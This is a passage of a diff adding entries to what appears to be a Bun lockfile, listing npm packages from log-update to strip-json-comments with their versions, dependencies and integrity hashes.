+ "log-update": ["[email protected]", "", { "dependencies": { "ansi-escapes": "^3.0.0", "cli-cursor": "^2.0.0", "wrap-ansi": "^3.0.1" } }, "sha512-vlP11XfFGyeNQlmEn9tJ66rEW1coA/79m5z6BCkudjbAGE83uhAcGYrBFwfs3AdLiLzGRusRPAbSPK9xZteCmg=="],
+
+ "lru-cache": ["[email protected]", "", {}, "sha512-aY/R+aEsRelme17KGQa/1ZSIpLpNYYrhcrepKTZgE+W3WM16YMCaPwOHLHsmopZHELU0Ojin1lPVxKR0MihncA=="],
+
+ "macos-version": ["[email protected]", "", { "dependencies": { "semver": "^7.3.5" } }, "sha512-O2S8voA+pMfCHhBn/TIYDXzJ1qNHpPDU32oFxglKnVdJABiYYITt45oLkV9yhwA3E2FDwn3tQqUFrTsr1p3sBQ=="],
+
+ "magic-string": ["[email protected]", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
+
+ "meow": ["[email protected]", "", {}, "sha512-EDYo6VlmtnumlcBCbh1gLJ//9jvM/ndXHfVXIFrZVr6fGcwTUyCTFNTLCKuY3ffbK8L/+3Mzqnd58RojiZqHVw=="],
+
+ "merge-stream": ["[email protected]", "", {}, "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="],
+
+ "merge2": ["[email protected]", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="],
+
+ "micromatch": ["[email protected]", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="],
+
+ "mimic-fn": ["[email protected]", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="],
+
+ "mimic-function": ["[email protected]", "", {}, "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA=="],
+
+ "minimatch": ["[email protected]", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-Rwi3pnapEqirPSbWbrZaa6N3nmqq4Xer/2XooiOKyV3q12ML06f7MOuc5DVH8ONZIFhwIYQ3yzPH4nt7iWHaTg=="],
+
+ "minimist": ["[email protected]", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
+
+ "mlly": ["[email protected]", "", { "dependencies": { "acorn": "^8.16.0", "pathe": "^2.0.3", "pkg-types": "^1.3.1", "ufo": "^1.6.3" } }, "sha512-d+ObxMQFmbt10sretNDytwt85VrbkhhUA/JBGm1MPaWJ65Cl4wOgLaB1NYvJSZ0Ef03MMEU/0xpPMXUIQ29UfA=="],
+
+ "ms": ["[email protected]", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
+
+ "muggle-string": ["[email protected]", "", {}, "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ=="],
+
+ "mute-stream": ["[email protected]", "", {}, "sha512-dkEJPVvun4FryqBmZ5KhDo0K9iDXAwn08tMLDinNdRBNPcYEDiWYysLcc6k3mjTMlbP9KyylvRpd4wFtwrT9rw=="],
+
+ "nanoid": ["[email protected]", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
+
+ "new-github-release-url": ["[email protected]", "", { "dependencies": { "type-fest": "^2.5.1" } }, "sha512-NHDDGYudnvRutt/VhKFlX26IotXe1w0cmkDm6JGquh5bz/bDTw0LufSmH/GxTjEdpHEO+bVKFTwdrcGa/9XlKQ=="],
+
+ "normalize-package-data": ["[email protected]", "", { "dependencies": { "hosted-git-info": "^9.0.0", "semver": "^7.3.5", "validate-npm-package-license": "^3.0.4" } }, "sha512-RWk+PI433eESQ7ounYxIp67CYuVsS1uYSonX3kA6ps/3LWfjVQa/ptEg6Y3T6uAMq1mWpX9PQ+qx+QaHpsc7gQ=="],
+
+ "np": ["[email protected]", "", { "dependencies": { "chalk": "^5.6.2", "chalk-template": "^1.1.2", "clipboardy": "^5.0.2", "cosmiconfig": "^9.0.0", "del": "^8.0.1", "escape-goat": "^4.0.0", "escape-string-regexp": "^5.0.0", "execa": "^9.6.1", "exit-hook": "^5.0.1", "github-url-from-git": "^1.5.0", "hosted-git-info": "^9.0.2", "ignore-walk": "^8.0.0", "import-local": "^3.2.0", "inquirer": "^13.2.0", "is-installed-globally": "^1.0.0", "is-interactive": "^2.0.0", "is-scoped": "^3.0.0", "issue-regex": "^4.3.0", "listr": "^0.14.3", "listr-input": "^0.2.1", "log-symbols": "^7.0.1", "meow": "^14.0.0", "new-github-release-url": "^2.0.0", "npm-name": "^8.0.0", "onetime": "^7.0.0", "open": "^11.0.0", "p-memoize": "^8.0.0", "package-directory": "^8.0.0", "path-exists": "^5.0.0", "read-package-up": "^12.0.0", "read-pkg": "^10.0.0", "rxjs": "^7.8.2", "semver": "^7.7.3", "symbol-observable": "^4.0.0", "terminal-link": "^5.0.0", "update-notifier": "^7.3.1" }, "bin": { "np": "source/cli.js" } }, "sha512-3dmJJUmJ81DijpXCow9+RmGM/Eb/I9pggql9O2vuATI3Y2xRhVkOBkxLfTHikoyIGqsQ4FiK00IBhnlh7cJdhg=="],
+
+ "npm-name": ["[email protected]", "", { "dependencies": { "is-scoped": "^3.0.0", "is-url-superb": "^6.1.0", "ky": "^1.2.0", "lodash.zip": "^4.2.0", "org-regex": "^1.0.0", "p-map": "^7.0.1", "registry-auth-token": "^5.0.2", "registry-url": "^6.0.1", "validate-npm-package-name": "^5.0.0" } }, "sha512-0Fji7beCAW3yHaqfVPLlT8GOSt7IIWZGQshZqosjbUOhMvs7P4r7g0raOSQIUjKBJO7brLBdXsnX2/l/l5vmUw=="],
+
+ "npm-run-path": ["[email protected]", "", { "dependencies": { "path-key": "^4.0.0", "unicorn-magic": "^0.3.0" } }, "sha512-9qny7Z9DsQU8Ou39ERsPU4OZQlSTP47ShQzuKZ6PRXpYLtIFgl/DEBYEXKlvcEa+9tHVcK8CF81Y2V72qaZhWA=="],
+
+ "number-is-nan": ["[email protected]", "", {}, "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ=="],
+
+ "object-assign": ["[email protected]", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="],
+
+ "obug": ["[email protected]", "", {}, "sha512-uTqF9MuPraAQ+IsnPf366RG4cP9RtUi7MLO1N3KEc+wb0a6yKpeL0lmk2IB1jY5KHPAlTc6T/JRdC/YqxHNwkQ=="],
+
+ "onetime": ["[email protected]", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="],
+
+ "open": ["[email protected]", "", { "dependencies": { "default-browser": "^5.4.0", "define-lazy-prop": "^3.0.0", "is-in-ssh": "^1.0.0", "is-inside-container": "^1.0.0", "powershell-utils": "^0.1.0", "wsl-utils": "^0.3.0" } }, "sha512-smsWv2LzFjP03xmvFoJ331ss6h+jixfA4UUV/Bsiyuu4YJPfN+FIQGOIiv4w9/+MoHkfkJ22UIaQWRVFRfH6Vw=="],
+
+ "org-regex": ["[email protected]", "", {}, "sha512-7bqkxkEJwzJQUAlyYniqEZ3Ilzjh0yoa62c7gL6Ijxj5bEpPL+8IE1Z0PFj0ywjjXQcdrwR51g9MIcLezR0hKQ=="],
+
+ "os-tmpdir": ["[email protected]", "", {}, "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g=="],
+
+ "oxlint": ["[email protected]", "", { "optionalDependencies": { "@oxlint/binding-android-arm-eabi": "1.59.0", "@oxlint/binding-android-arm64": "1.59.0", "@oxlint/binding-darwin-arm64": "1.59.0", "@oxlint/binding-darwin-x64": "1.59.0", "@oxlint/binding-freebsd-x64": "1.59.0", "@oxlint/binding-linux-arm-gnueabihf": "1.59.0", "@oxlint/binding-linux-arm-musleabihf": "1.59.0", "@oxlint/binding-linux-arm64-gnu": "1.59.0", "@oxlint/binding-linux-arm64-musl": "1.59.0", "@oxlint/binding-linux-ppc64-gnu": "1.59.0", "@oxlint/binding-linux-riscv64-gnu": "1.59.0", "@oxlint/binding-linux-riscv64-musl": "1.59.0", "@oxlint/binding-linux-s390x-gnu": "1.59.0", "@oxlint/binding-linux-x64-gnu": "1.59.0", "@oxlint/binding-linux-x64-musl": "1.59.0", "@oxlint/binding-openharmony-arm64": "1.59.0", "@oxlint/binding-win32-arm64-msvc": "1.59.0", "@oxlint/binding-win32-ia32-msvc": "1.59.0", "@oxlint/binding-win32-x64-msvc": "1.59.0" }, "peerDependencies": { "oxlint-tsgolint": ">=0.18.0" }, "optionalPeers": ["oxlint-tsgolint"], "bin": { "oxlint": "bin/oxlint" } }, "sha512-0xBLeGGjP4vD9pygRo8iuOkOzEU1MqOnfiOl7KYezL/QvWL8NUg6n03zXc7ZVqltiOpUxBk2zgHI3PnRIEdAvw=="],
+
+ "p-limit": ["[email protected]", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
+
+ "p-locate": ["[email protected]", "", { "dependencies": { "p-limit": "^2.2.0" } }, "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A=="],
+
+ "p-map": ["[email protected]", "", {}, "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ=="],
+
+ "p-memoize": ["[email protected]", "", { "dependencies": { "mimic-function": "^5.0.1", "type-fest": "^4.41.0" } }, "sha512-jdZ10MCxavHoIHwJ5oweOtYy6ElPixEHaMkz0AuaEMovR1MRpVvYFzIEHRxgMEpXYzNpRVByFAniAzwmd1/uug=="],
+
+ "p-try": ["[email protected]", "", {}, "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ=="],
+
+ "package-directory": ["[email protected]", "", { "dependencies": { "find-up-simple": "^1.0.0" } }, "sha512-qJSu5Mo6tHmRxCy2KCYYKYgcfBdUpy9dwReaZD/xwf608AUk/MoRtIOWzgDtUeGeC7n/55yC3MI1Q+MbSoektw=="],
+
+ "package-json": ["[email protected]", "", { "dependencies": { "ky": "^1.2.0", "registry-auth-token": "^5.0.2", "registry-url": "^6.0.1", "semver": "^7.6.0" } }, "sha512-ua1L4OgXSBdsu1FPb7F3tYH0F48a6kxvod4pLUlGY9COeJAJQNX/sNH2IiEmsxw7lqYiAwrdHMjz1FctOsyDQg=="],
+
+ "parent-module": ["[email protected]", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="],
+
+ "parse-json": ["[email protected]", "", { "dependencies": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" } }, "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg=="],
+
+ "parse-ms": ["[email protected]", "", {}, "sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw=="],
+
+ "path-browserify": ["[email protected]", "", {}, "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g=="],
+
+ "path-exists": ["[email protected]", "", {}, "sha512-RjhtfwJOxzcFmNOi6ltcbcu4Iu+FL3zEj83dk4kAS+fVpTxXLO1b38RvJgT/0QwvV/L3aY9TAnyv0EOqW4GoMQ=="],
+
+ "path-key": ["[email protected]", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="],
+
+ "path-parse": ["[email protected]", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="],
+
+ "path-type": ["[email protected]", "", {}, "sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ=="],
+
+ "pathe": ["[email protected]", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="],
+
+ "picocolors": ["[email protected]", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
+
+ "picomatch": ["[email protected]", "", {}, "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A=="],
+
+ "pkg-dir": ["[email protected]", "", { "dependencies": { "find-up": "^4.0.0" } }, "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ=="],
+
+ "pkg-types": ["[email protected]", "", { "dependencies": { "confbox": "^0.2.2", "exsolve": "^1.0.7", "pathe": "^2.0.3" } }, "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig=="],
+
+ "postcss": ["[email protected]", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg=="],
+
+ "powershell-utils": ["[email protected]", "", {}, "sha512-ZlsFlG7MtSFCoc5xreOvBAozCJ6Pf06opgJjh9ONEv418xpZSAzNjstD36C6+JwOnfSqOW/9uDkqKjezTdxZhw=="],
+
+ "presentable-error": ["[email protected]", "", {}, "sha512-E6rsNU1QNJgB3sjj7OANinGncFKuK+164sLXw1/CqBjj/EkXSoSdHCtWQGBNlREIGLnL7IEUEGa08YFVUbrhVg=="],
+
+ "prettier": ["[email protected]", "", { "bin": { "prettier": "bin/prettier.cjs" } }, "sha512-UOnG6LftzbdaHZcKoPFtOcCKztrQ57WkHDeRD9t/PTQtmT0NHSeWWepj6pS0z/N7+08BHFDQVUrfmfMRcZwbMg=="],
+
+ "pretty-ms": ["[email protected]", "", { "dependencies": { "parse-ms": "^4.0.0" } }, "sha512-gjVS5hOP+M3wMm5nmNOucbIrqudzs9v/57bWRHQWLYklXqoXKrVfYW2W9+glfGsqtPgpiz5WwyEEB+ksXIx3gQ=="],
+
+ "proto-list": ["[email protected]", "", {}, "sha512-vtK/94akxsTMhe0/cbfpR+syPuszcuwhqVjJq26CuNDgFGj682oRBXOP5MJpv2r7JtE8MsiepGIqvvOTBwn2vA=="],
+
+ "pupa": ["[email protected]", "", { "dependencies": { "escape-goat": "^4.0.0" } }, "sha512-LjgDO2zPtoXP2wJpDjZrGdojii1uqO0cnwKoIoUzkfS98HDmbeiGmYiXo3lXeFlq2xvne1QFQhwYXSUCLKtEuA=="],
+
+ "quansync": ["[email protected]", "", {}, "sha512-AifT7QEbW9Nri4tAwR5M/uzpBuqfZf+zwaEM/QkzEjj7NBuFD2rBuy0K3dE+8wltbezDV7JMA0WfnCPYRSYbXA=="],
+
+ "queue-microtask": ["[email protected]", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="],
+
+ "rc": ["[email protected]", "", { "dependencies": { "deep-extend": "^0.6.0", "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" }, "bin": { "rc": "./cli.js" } }, "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw=="],
+
+ "read-package-up": ["[email protected]", "", { "dependencies": { "find-up-simple": "^1.0.1", "read-pkg": "^10.0.0", "type-fest": "^5.2.0" } }, "sha512-Q5hMVBYur/eQNWDdbF4/Wqqr9Bjvtrw2kjGxxBbKLbx8bVCL8gcArjTy8zDUuLGQicftpMuU0riQNcAsbtOVsw=="],
+
+ "read-pkg": ["[email protected]", "", { "dependencies": { "@types/normalize-package-data": "^2.4.4", "normalize-package-data": "^8.0.0", "parse-json": "^8.3.0", "type-fest": "^5.4.4", "unicorn-magic": "^0.4.0" } }, "sha512-I8g2lArQiP78ll51UeMZojewtYgIRCKCWqZEgOO8c/uefTI+XDXvCSXu3+YNUaTNvZzobrL5+SqHjBrByRRTdg=="],
+
+ "registry-auth-token": ["[email protected]", "", { "dependencies": { "@pnpm/npm-conf": "^3.0.2" } }, "sha512-P7B4+jq8DeD2nMsAcdfaqHbssgHtZ7Z5+++a5ask90fvmJ8p5je4mOa+wzu+DB4vQ5tdJV/xywY+UnVFeQLV5Q=="],
+
+ "registry-url": ["[email protected]", "", { "dependencies": { "rc": "1.2.8" } }, "sha512-+crtS5QjFRqFCoQmvGduwYWEBng99ZvmFvF+cUJkGYF1L1BfU8C6Zp9T7f5vPAwyLkUExpvK+ANVZmGU49qi4Q=="],
+
+ "require-from-string": ["[email protected]", "", {}, "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="],
+
+ "resolve": ["[email protected]", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
+
+ "resolve-cwd": ["[email protected]", "", { "dependencies": { "resolve-from": "^5.0.0" } }, "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg=="],
+
+ "resolve-from": ["[email protected]", "", {}, "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="],
+
+ "restore-cursor": ["[email protected]", "", { "dependencies": { "onetime": "^2.0.0", "signal-exit": "^3.0.2" } }, "sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q=="],
+
+ "reusify": ["[email protected]", "", {}, "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw=="],
+
+ "rolldown": ["[email protected]", "", { "dependencies": { "@oxc-project/types": "=0.122.0", "@rolldown/pluginutils": "1.0.0-rc.12" }, "optionalDependencies": { "@rolldown/binding-android-arm64": "1.0.0-rc.12", "@rolldown/binding-darwin-arm64": "1.0.0-rc.12", "@rolldown/binding-darwin-x64": "1.0.0-rc.12", "@rolldown/binding-freebsd-x64": "1.0.0-rc.12", "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-rc.12", "@rolldown/binding-linux-arm64-gnu": "1.0.0-rc.12", "@rolldown/binding-linux-arm64-musl": "1.0.0-rc.12", "@rolldown/binding-linux-ppc64-gnu": "1.0.0-rc.12", "@rolldown/binding-linux-s390x-gnu": "1.0.0-rc.12", "@rolldown/binding-linux-x64-gnu": "1.0.0-rc.12", "@rolldown/binding-linux-x64-musl": "1.0.0-rc.12", "@rolldown/binding-openharmony-arm64": "1.0.0-rc.12", "@rolldown/binding-wasm32-wasi": "1.0.0-rc.12", "@rolldown/binding-win32-arm64-msvc": "1.0.0-rc.12", "@rolldown/binding-win32-x64-msvc": "1.0.0-rc.12" }, "bin": { "rolldown": "bin/cli.mjs" } }, "sha512-yP4USLIMYrwpPHEFB5JGH1uxhcslv6/hL0OyvTuY+3qlOSJvZ7ntYnoWpehBxufkgN0cvXxppuTu5hHa/zPh+A=="],
+
+ "run-applescript": ["[email protected]", "", {}, "sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q=="],
+
+ "run-async": ["[email protected]", "", {}, "sha512-IoDlSLTs3Yq593mb3ZoKWKXMNu3UpObxhgA/Xuid5p4bbfi2jdY1Hj0m1K+0/tEuQTxIGMhQDqGjKb7RuxGpAQ=="],
+
+ "run-jxa": ["[email protected]", "", { "dependencies": { "execa": "^5.1.1", "macos-version": "^6.0.0", "subsume": "^4.0.0", "type-fest": "^2.0.0" } }, "sha512-4f2CrY7H+sXkKXJn/cE6qRA3z+NMVO7zvlZ/nUV0e62yWftpiLAfw5eV9ZdomzWd2TXWwEIiGjAT57+lWIzzvA=="],
+
+ "run-parallel": ["[email protected]", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="],
+
+ "rxjs": ["[email protected]", "", { "dependencies": { "tslib": "^2.1.0" } }, "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA=="],
+
+ "safer-buffer": ["[email protected]", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="],
+
+ "scoped-regex": ["[email protected]", "", {}, "sha512-yEsN6TuxZhZ1Tl9iB81frTNS292m0I/IG7+w8lTvfcJQP2x3vnpOoevjBoE3Np5A6KnZM2+RtVenihj9t6NiYg=="],
+
+ "semver": ["[email protected]", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
+
+ "shebang-command": ["[email protected]", "", { "dependencies": { "shebang-regex": "^3.0.0" } }, "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA=="],
+
+ "shebang-regex": ["[email protected]", "", {}, "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="],
+
+ "siginfo": ["[email protected]", "", {}, "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g=="],
+
+ "signal-exit": ["[email protected]", "", {}, "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw=="],
+
+ "slash": ["[email protected]", "", {}, "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg=="],
+
+ "slice-ansi": ["[email protected]", "", {}, "sha512-up04hB2hR92PgjpyU3y/eg91yIBILyjVY26NvvciY3EVVPjybkMszMpXQ9QAkcS3I5rtJBDLoTxxg+qvW8c7rw=="],
+
+ "source-map": ["[email protected]", "", {}, "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="],
+
+ "source-map-js": ["[email protected]", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="],
+
+ "spdx-correct": ["[email protected]", "", { "dependencies": { "spdx-expression-parse": "^3.0.0", "spdx-license-ids": "^3.0.0" } }, "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA=="],
+
+ "spdx-exceptions": ["[email protected]", "", {}, "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w=="],
+
+ "spdx-expression-parse": ["[email protected]", "", { "dependencies": { "spdx-exceptions": "^2.1.0", "spdx-license-ids": "^3.0.0" } }, "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q=="],
+
+ "spdx-license-ids": ["[email protected]", "", {}, "sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw=="],
+
+ "sprintf-js": ["[email protected]", "", {}, "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="],
+
+ "stackback": ["[email protected]", "", {}, "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw=="],
+
+ "std-env": ["[email protected]", "", {}, "sha512-zUMPtQ/HBY3/50VbpkupYHbRroTRZJPRLvreamgErJVys0ceuzMkD44J/QjqhHjOzK42GQ3QZIeFG1OYfOtKqQ=="],
+
+ "string-argv": ["[email protected]", "", {}, "sha512-aqD2Q0144Z+/RqG52NeHEkZauTAUWJO8c6yTftGJKO3Tja5tUgIfmIl6kExvhtxSDP7fXB6DvzkfMpCd/F3G+Q=="],
+
+ "string-width": ["[email protected]", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="],
+
+ "strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^2.0.0" } }, "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg=="],
+
+ "strip-final-newline": ["[email protected]", "", {}, "sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw=="],
+
+ "strip-json-comments": ["[email protected]", "", {}, "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="],
+
